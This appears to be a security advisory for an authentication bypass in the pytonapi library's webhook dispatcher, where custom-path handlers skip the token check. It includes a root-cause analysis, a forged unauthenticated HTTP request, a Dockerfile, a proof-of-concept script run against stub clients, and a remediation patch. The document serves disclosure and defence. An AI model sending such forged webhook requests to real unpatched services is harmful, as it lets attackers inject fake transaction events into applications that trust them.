Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| pytonapi | pip | >= 2.0.0, < 2.2.1 | 2.2.1 |
Miggo AIRoot Cause AnalysisThe vulnerability is an authentication bypass in the TonapiWebhookDispatcher class of the pytonapi library. The root cause lies in the setup method, which fails to create and store authentication tokens for webhook handlers registered with a custom URL path. The vulnerability is triggered in the process method, which is responsible for handling incoming webhook requests. When a request for a custom path is received, the process method attempts to look up the corresponding token. Because the setup method never stored one, the lookup returns None. The authentication logic then incorrectly interprets the absence of a token as a reason to skip authentication altogether (a 'fail-open' design flaw). This allows an unauthenticated attacker to send arbitrary data to the custom webhook endpoint, triggering the associated handler. The patch addresses the root cause by modifying the setup method to correctly iterate over all registered paths (both default and custom) and store a token for each one. It also fixes a related bug in _build_path_map to ensure all custom paths are correctly mapped.
TonapiWebhookDispatcher.processpytonapi/webhook/dispatcher.py
TonapiWebhookDispatcher.setuppytonapi/webhook/dispatcher.py
TonapiWebhookDispatcher._build_path_mappytonapi/webhook/dispatcher.py
# dispatcher.py lines 286-288
expected_token = self._tokens.get(path) # "/hook/custom" -> None
if expected_token is not None and authorization != f"Bearer {expected_token}":
raise TONAPIError("Invalid webhook token") # SKIPPED because expected_token is None
Because expected_token is None for any custom path, the condition expected_token is not None is always False. The raise is never reached regardless of what the Authorization header contains — or whether it is absent entirely. Execution continues to lines 291 and 297 where the attacker's payload is parsed and the victim handler is invoked.
The path= argument is an officially documented feature (see docs/webhooks/guide.mdx lines 140 and 153), meaning any user following the public documentation is vulnerable.
Requirements: Python 3.12, pytonapi 2.2.0 installed from source (commit e46c4a4).
Build and run with Docker:
# From the repository root
docker build -t vuln001-pytonapi -f vuln-001/Dockerfile .
docker run --rm vuln001-pytonapi
The Dockerfile installs pytonapi from the local source tree and executes poc.py.
What the PoC does:
TonapiWebhookDispatcher with a custom-path handler (path="/hook/custom").setup() — tokens are registered only for /hook/account-tx.process("/hook/custom", forged_payload, authorization=None): no Authorization header, handler fires.process("/hook/custom", forged_payload, authorization="Bearer totally-wrong-token"): wrong token, handler still fires./hook/account-tx with no auth: correctly raises TONAPIError.Simulated malicious HTTP request routed to the victim dispatcher:
POST /hook/custom HTTP/1.1
Host: victim.example
Content-Type: application/json
# No Authorization header
{"event_type":"account_tx","account_id":"0:victim","lt":1,"tx_hash":"FORGED_TX_HASH"}
Expected output confirming the vulnerability:
[dispatcher_a] _tokens map: {'/hook/account-tx': 'real-secret-token-abc123'}
Case A: VULNERABLE — handler invoked with NO Authorization header; custom_called=['FORGED_TX_HASH']
Case B: VULNERABLE — handler invoked with WRONG Authorization header; custom_called=['FORGED_TX_HASH']
Case C: CORRECTLY_REJECTED — Invalid webhook token
Case D: CORRECTLY_ACCEPTED — default path with valid auth
[RESULT] VULNERABILITY CONFIRMED
Remediation (patch):
--- a/pytonapi/webhook/dispatcher.py
+++ b/pytonapi/webhook/dispatcher.py
@@
def _build_path_map(self) -> dict[str, WebhookEventType]:
- return {handlers[0][2]: et for et, handlers in self._handlers.items() if handlers}
+ return {path: et for et, handlers in self._handlers.items() for _, _, path in handlers}
@@
- suffix = self.DEFAULT_SUFFIXES[event_type]
- local_path = self._path + suffix
- webhook = await self._client.ensure(f"{self._url}{suffix}")
- self._tokens[local_path] = webhook.token
+ local_paths = sorted({path for _, _, path in handlers})
+ for local_path in local_paths:
+ endpoint = self._endpoint_for_path(local_path)
+ webhook = await self._client.ensure(endpoint)
+ self._tokens[local_path] = webhook.token
@@
+ def _endpoint_for_path(self, path: str) -> str:
+ parsed = urlparse(self._url)
+ return parsed._replace(path=path, params="", query="", fragment="").geturl()
This is an Improper Authentication vulnerability (CWE-287). Any application that:
TonapiWebhookDispatcher from pytonapi 2.2.0, andpath= keyword argument,is fully exposed. The webhook endpoint becomes publicly callable without credentials. An unauthenticated network attacker can:
account_tx notifications).Confidentiality is not directly affected (the attacker sends data, does not read it). Availability is not the primary impact. Integrity is critically impacted because the attacker fully controls the event data delivered to the handler.
DockerfileFROM python:3.12-slim
WORKDIR /app
# Copy the repository source code
COPY repo/ /app/repo/
# Install pytonapi from local source (exact commit under test)
RUN pip install --no-cache-dir /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
poc.py"""
PoC for VULN-001: Webhook custom path authentication bypass
===========================================================
CVE candidate: CWE-287 — Improper Authentication
Affected: pytonapi 2.2.0 (commit e46c4a4)
File: pytonapi/webhook/dispatcher.py
Root cause
----------
When a handler is registered with the documented `path=` argument:
@dispatcher.account_tx(path="/hook/custom")
async def on_tx(event): ...
setup() stores the bearer token ONLY for the default-suffix path:
local_path = self._path + suffix # -> "/hook/account-tx"
self._tokens[local_path] = webhook.token # line 112
The custom path "/hook/custom" is never added to _tokens.
_build_path_map() correctly routes "/hook/custom" -> ACCOUNT_TX
because it reads handlers[0][2] which IS the custom path when the
custom-path handler is the only one registered.
In process():
expected_token = self._tokens.get(path) # line 286 -> None (missing)
if expected_token is not None and ...: # line 287 -> False (SKIP)
raise TONAPIError("Invalid webhook token")
Because expected_token is None the auth check is bypassed entirely
(fail-open). An attacker can POST any forged payload to the custom
path without any Authorization header and trigger the victim handler.
Test matrix
-----------
Case A: custom path + no auth -> SHOULD raise (BUG: passes)
Case B: custom path + wrong auth token -> SHOULD raise (BUG: passes)
Case C: default path + no auth -> SHOULD raise (control: correctly raises)
Case D: default path + valid auth -> SHOULD pass (control: correctly passes)
"""
import asyncio
import sys
from pytonapi.exceptions import TONAPIError
from pytonapi.webhook.dispatcher import TonapiWebhookDispatcher
# ---------------------------------------------------------------------------
# Minimal stubs — no real network I/O needed
# ---------------------------------------------------------------------------
class FakeWebhookEndpoint:
"""Simulates the TONAPI webhook object returned by client.ensure()."""
def __init__(self, token: str) -> None:
self.token = token
async def sync_accounts(self, accounts: list) -> None:
pass
class FakeWebhookClient:
"""Simulates TonapiWebhookClient: records which endpoints were registered."""
def __init__(self) -> None:
self.registered_endpoints: list[str] = []
async def create_session(self) -> None:
pass
async def ensure(self, endpoint: str) -> FakeWebhookEndpoint:
self.registered_endpoints.append(endpoint)
return FakeWebhookEndpoint(token="real-secret-token-abc123")
async def close_session(self) -> None:
pass
# ---------------------------------------------------------------------------
# PoC
# ---------------------------------------------------------------------------
async def run_poc() -> bool:
"""Execute all test cases and return True if the vulnerability is confirmed."""
# -----------------------------------------------------------------
# Dispatcher A: only a CUSTOM path handler (the vulnerable scenario)
# -----------------------------------------------------------------
client_a = FakeWebhookClient()
dispatcher_a = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_a,
accounts=["0:victim"],
)
custom_called: list[str] = []
# Victim uses the documented path= feature (see docs/webhooks/guide.mdx:140)
@dispatcher_a.account_tx("0:victim", path="/hook/custom")
async def on_custom_tx(event) -> None:
custom_called.append(event.tx_hash)
await dispatcher_a.setup()
# -----------------------------------------------------------------
# Dispatcher B: only a DEFAULT path handler (control group)
# -----------------------------------------------------------------
client_b = FakeWebhookClient()
dispatcher_b = TonapiWebhookDispatcher(
"https://victim.example/hook",
client=client_b,
accounts=["0:victim"],
)
default_called: list[str] = []
@dispatcher_b.account_tx("0:victim")
async def on_default_tx(event) -> None:
default_called.append(event.tx_hash)
await dispatcher_b.setup()
print("=" * 60)
print("VULN-001: Webhook custom path authentication bypass PoC")
print("=" * 60)
print(f"[dispatcher_a] registered paths : {dispatcher_a.paths}")
print(f"[dispatcher_a] endpoints called : {client_a.registered_endpoints}")
print(f"[dispatcher_a] _tokens map : {dispatcher_a._tokens}")
print()
print(f"[dispatcher_b] registered paths : {dispatcher_b.paths}")
print(f"[dispatcher_b] endpoints called : {client_b.registered_endpoints}")
print(f"[dispatcher_b] _tokens map : {dispatcher_b._tokens}")
print()
forged_payload = {
"event_type": "account_tx",
"account_id": "0:victim",
"lt": 1,
"tx_hash": "FORGED_TX_HASH",
}
results: dict[str, str] = {}
# ------------------------------------------------------------------
# Case A: custom path, NO auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization=None,
)
if "FORGED_TX_HASH" in custom_called:
results["A"] = (
"VULNERABLE — handler invoked with NO Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["A"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["A"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case B: custom path, WRONG auth -> BUG: should raise, actually passes
# ------------------------------------------------------------------
custom_called.clear()
try:
await dispatcher_a.process(
"/hook/custom",
forged_payload,
authorization="Bearer totally-wrong-token",
)
if "FORGED_TX_HASH" in custom_called:
results["B"] = (
"VULNERABLE — handler invoked with WRONG Authorization header; "
"custom_called=" + repr(custom_called)
)
else:
results["B"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["B"] = f"NOT_VULNERABLE (raised) — {exc}"
# ------------------------------------------------------------------
# Case C: default path, NO auth -> must raise (control: works correctly)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization=None,
)
results["C"] = "UNEXPECTED_PASS — default path accepted no-auth (unexpected)"
except TONAPIError as exc:
results["C"] = f"CORRECTLY_REJECTED — {exc}"
# ------------------------------------------------------------------
# Case D: default path, VALID auth -> baseline, must succeed (control)
# ------------------------------------------------------------------
default_called.clear()
try:
await dispatcher_b.process(
"/hook/account-tx",
forged_payload,
authorization="Bearer real-secret-token-abc123",
)
if "FORGED_TX_HASH" in default_called:
results["D"] = "CORRECTLY_ACCEPTED — default path with valid auth"
else:
results["D"] = "UNCERTAIN — process() did not raise but handler was not called"
except TONAPIError as exc:
results["D"] = f"UNEXPECTED_REJECTION — {exc}"
# ------------------------------------------------------------------
# Summary
# ------------------------------------------------------------------
print("Test results:")
for case, result in results.items():
print(f" Case {case}: {result}")
print()
vuln_confirmed = (
"VULNERABLE" in results.get("A", "")
and "VULNERABLE" in results.get("B", "")
and "CORRECTLY_REJECTED" in results.get("C", "")
and "CORRECTLY_ACCEPTED" in results.get("D", "")
)
if vuln_confirmed:
print("[RESULT] VULNERABILITY CONFIRMED")
print(" dispatcher_a._tokens has NO entry for /hook/custom (only for /hook/account-tx)")
print(" => expected_token=None => auth check skipped => forged handler called")
print(" Attacker can POST any payload to /hook/custom without credentials.")
else:
print("[RESULT] VULNERABILITY NOT CONFIRMED")
print(" Check individual case results above for details.")
return vuln_confirmed
if __name__ == "__main__":
confirmed = asyncio.run(run_poc())
sys.exit(0 if confirmed else 1)